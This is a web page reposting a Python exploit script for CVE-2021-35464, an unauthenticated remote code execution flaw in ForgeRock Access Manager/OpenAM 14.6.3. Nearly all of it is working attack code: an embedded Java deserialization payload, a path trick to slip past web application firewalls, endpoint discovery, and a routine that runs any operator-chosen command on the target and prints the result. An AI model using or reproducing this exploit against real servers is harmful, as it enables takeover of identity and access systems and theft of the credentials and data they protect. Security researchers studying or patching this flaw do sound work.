Saturday, October 2, 2021

ForgeRock Access Manager/OpenAM 14.6.3 Remote Code Execution

# Exploit Title: ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-07-14
# Exploit Author: Photubias – tijl[dot]deneut[at]Howest[dot]be for www.ic4.be
# Vendor Advisory: [1] https://backstage.forgerock.com/knowledge/kb/article/a47894244
# Vendor Homepage: https://github.com/OpenIdentityPlatform/OpenAM/
# Version: [1] OpenAM 14.6.3
# [2] Forgerock 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and is fixed as of version AM 7 released on June 29, 2021
# Tested on: OpenAM 14.6.3 and Tomcat/8.5.68 with JDK-8u292 on Debian 10
# CVE: CVE-2021-35464

#!/usr/bin/env python3

'''
Copyright 2021 Photubias(c)

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

File name CVE-2021-35464.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)

Rewritten from and full credits to @Y4er_ChaBug:
https://github.com/Y4er/openam-CVE-2021-35464
and of course the discoverer @artsploit:
https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
Created using https://github.com/frohoff/ysoserial
'''

import urllib.request, urllib.parse, ssl, sys, optparse

## Static vars; change at will, but recommend leaving as is
sURL = 'http://192.168.0.100:7080/openam'
sEndpoint = 'ccversion/Version'
sEndpoint = 'oauth2/..;/ccversion/Version' ## This bypasses potential WAFs
iTimeout = 5
strSerializedPayload = b'AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQ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4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDPAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA2NscwEAEU

## Ignore unsigned certs, if any because OpenAM is default HTTP
ssl._create_default_https_context = ssl._create_unverified_context

def checkParams(options, args):
if args: sHost = args[0]
else:
sHost = input('[?] Please enter the URL ['+sURL+'] : ')
if sHost == '': sHost = sURL
if not sHost[-1:] == '/': sHost += '/'
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
if options.command: sCMD = options.command
else: sCMD = ''
if options.proxy: sProxy = options.proxy
else: sProxy = ''
return (sHost, sCMD, sProxy)

def findEndpoint(oOpener, sHost, sProxy):
def testEndpoint(sURL):
oRequest = urllib.request.Request(sURL)
if sProxy: oRequest.set_proxy(sProxy, 'http')
try: oResponse = oOpener.open(oRequest, timeout = iTimeout)
except: return False
if oResponse.code == 200:
if 'ForgeRock' in oResponse.read().decode(errors='ignore'):
print('[+] Found potential vulnerable endpoint: ' + sURL)
return True
return False

if testEndpoint(sHost + sEndpoint): return sHost + sEndpoint
elif testEndpoint(sHost + 'openam/' + sEndpoint): return sHost + 'openam/' + sEndpoint
elif testEndpoint(sHost + 'OpenAM/' + sEndpoint): return sHost + 'OpenAM/' + sEndpoint
elif testEndpoint(sHost + 'openam/ccversion/Version'): return sHost + 'openam/ccversion/Version'
elif testEndpoint(sHost + 'OpenAM/ccversion/Version'): return sHost + 'OpenAM/ccversion/Version'
else: return ''

def testVuln(oOpener, sURL, sProxy):
oResponse = runCmd(oOpener, sURL, sProxy, 'echo CVE-2021-35464')
## The response is actually not well formed HTTP, needs manual formatting
bResp = bytearray(15) ## "CVE-2021-35464\n" should be 15 bytes
try: oResponse.readinto(bResp)
except: pass
#print(bResp.split(b'\x00')[0])
if 'CVE-2021-35464' in bResp.decode(): return True
else: return False

def runVuln(oOpener, sURL, sProxy, sCMD):
oResponse = runCmd(oOpener, sURL, sProxy, sCMD)
## The response is actually not well formed HTTP, needs manual formatting
bResp = bytearray(4096)
try: oResponse.readinto(bResp)
except: pass ## The readinto still should have worked
sResp = bResp.split(b'\x00')[0].decode()
print(sResp)

def runCmd(oOpener, sURL, sProxy, sCMD):
oData = b'jato.pageSession=' + strSerializedPayload
oHeaders = {'cmd' : sCMD}
oRequest = urllib.request.Request(url = sURL, headers = oHeaders, data = oData)
if sProxy: oRequest.set_proxy(sProxy, 'http')
return oOpener.open(oRequest, timeout = iTimeout)

def main():
usage = (
'usage: %prog [options] URL \n'
'Example: CVE-2021-35464.py -c id http://192.168.0.100:7080/openam\n'
'Example: CVE-2021-35464.py -c dir -p 127.0.0.1:8080 http://192.168.0.100:7080/openam\n'
'When in doubt, just enter a single IP address'
)

parser = optparse.OptionParser(usage=usage)
parser.add_option('--command', '-c', dest='command', help='Optional: The command to run remotely')
parser.add_option('--proxy', '-p', dest='proxy', help='Optional: HTTP proxy to use, e.g. 127.0.0.1:8080')

## Get or ask for the vars
(options, args) = parser.parse_args()
(sHost, sCMD, sProxy) = checkParams(options, args)

## Verify reachability
print('[!] Verifying reachability of ' + sHost)
oOpener = urllib.request.build_opener()
oRequest = urllib.request.Request(sHost)
if sProxy: oRequest.set_proxy(sProxy, 'http')
try: oResponse = oOpener.open(oRequest, timeout = iTimeout)
except urllib.error.HTTPError: pass
except: sys.exit('[-] Error, host ' + sHost + ' seems to be unreachable')
print('[+] Endpoint ' + sHost + ' reachable')

## Find endpoint
print('[!] Finding correct OpenAM endpoint')
sEndpoint = findEndpoint(oOpener, sHost, sProxy)
if sEndpoint == '': sys.exit('[-] Error finding the correct OpenAM endpoint or not vulnerable.')

## Verify vulnerability
if testVuln(oOpener, sEndpoint, sProxy): print('[+] !SUCCESS! Host ' + sHost + ' is vulnerable to CVE-2021-35464')
else: sys.exit('[-] Not vulnerable or this implementation does not work')
if sCMD:
print('[+] Running command "' + sCMD + '" now:\n')
runVuln(oOpener, sEndpoint, sProxy, sCMD)
else: print('[!] All done')

if __name__ == "__main__":
main()

 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore